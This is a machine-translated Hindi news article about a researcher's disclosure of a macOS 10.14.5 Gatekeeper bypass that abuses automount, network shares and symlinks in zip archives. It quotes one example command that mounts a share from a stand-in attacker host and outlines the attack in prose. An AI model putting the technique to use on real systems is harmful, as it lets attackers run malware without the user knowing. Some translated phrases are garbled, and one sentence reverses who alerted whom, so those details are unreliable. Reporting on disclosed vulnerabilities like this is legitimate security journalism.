अमाया तोमन सुरक्षा शोधकर्ता फ़िलिपो कैवेलरिन ने अपने ब्लॉग पर macOS 10.14.5 में बग के बारे में एक चेतावनी पोस्ट की। इसमें गेटकीपर के सुरक्षा उपायों को पूरी तरह से दरकिनार करने की संभावना शामिल है। कैवलारिन के अनुसार, उन्होंने इस साल फरवरी में ही Apple को त्रुटि के बारे में बताया था, लेकिन कंपनी ने नवीनतम अपडेट में इसे ठीक नहीं किया।
गेटकीपर को Apple द्वारा विकसित किया गया था और 2012 में पहली बार अपने डेस्कटॉप ऑपरेटिंग सिस्टम में शामिल किया गया था। यह एक ऐसा तंत्र है जो किसी एप्लिकेशन को उपयोगकर्ता की जानकारी और सहमति के बिना चलने से रोकता है। आपके द्वारा कोई ऐप डाउनलोड करने के बाद, गेटकीपर यह देखने के लिए स्वचालित रूप से उसके कोड की जांच करता है कि सॉफ़्टवेयर Apple द्वारा ठीक से हस्ताक्षरित है या नहीं।
यह हो सकता था रुचि आपको
अपने ब्लॉग पोस्ट में, कैवलारिन ने कहा है कि गेटकीपर, डिफ़ॉल्ट रूप से, बाहरी भंडारण और नेटवर्क शेयर दोनों को सुरक्षित स्थान मानता है। इसलिए इन लक्ष्यों में मौजूद कोई भी एप्लिकेशन गेटकीपर जांच से गुजरे बिना स्वचालित रूप से लॉन्च किया जा सकता है। यह वह सुविधा है जिसका उपयोग उपयोगकर्ता की जानकारी के बिना दुर्भावनापूर्ण सॉफ़्टवेयर लॉन्च करने के लिए किया जा सकता है।
एक पहलू जो अनधिकृत पहुंच की अनुमति देता है वह ऑटोमाउंट सुविधा है, जो उपयोगकर्ताओं को "/नेट/" से शुरू होने वाले पथ को निर्दिष्ट करके नेटवर्क शेयर को स्वचालित रूप से माउंट करने की अनुमति देता है। उदाहरण के तौर पर, कैवलारिन पथ "ls /net/evil-attacker.com/sharedfolder/" का हवाला देता है जो ऑपरेटिंग सिस्टम को "शेयरफ़ोल्डर" फ़ोल्डर की सामग्री को दूरस्थ स्थान पर लोड करने का कारण बन सकता है जो संभावित रूप से दुर्भावनापूर्ण हो सकता है।
आप वीडियो में देख सकते हैं कि धमकी कैसे काम करती है:
एक अन्य कारक यह तथ्य है कि यदि एक ज़िप संग्रह जिसमें ऑटोमाउंट फ़ंक्शन की ओर जाने वाला एक विशिष्ट सिम्लिंक साझा किया जाता है, तो इसे गेटकीपर द्वारा चेक नहीं किया जाएगा। इस तरह, पीड़ित आसानी से दुर्भावनापूर्ण संग्रह को डाउनलोड कर सकता है और उसे अनज़िप कर सकता है, जिससे हमलावर उपयोगकर्ता की जानकारी के बिना मैक पर लगभग कोई भी सॉफ़्टवेयर चला सकता है। फाइंडर, जो डिफ़ॉल्ट रूप से कुछ एक्सटेंशन छुपाता है, की भी इस भेद्यता में हिस्सेदारी है।
कैवलारिन ने अपने ब्लॉग पर कहा है कि Apple ने इस साल 22 फरवरी को macOS ऑपरेटिंग सिस्टम की भेद्यता की ओर ध्यान आकर्षित किया था। लेकिन मई के मध्य में, Apple ने कैवलारिन के साथ संचार करना बंद कर दिया, इसलिए कैवलारिन ने पूरी बात सार्वजनिक करने का फैसला किया।
स्रोत: एफसीवीएल
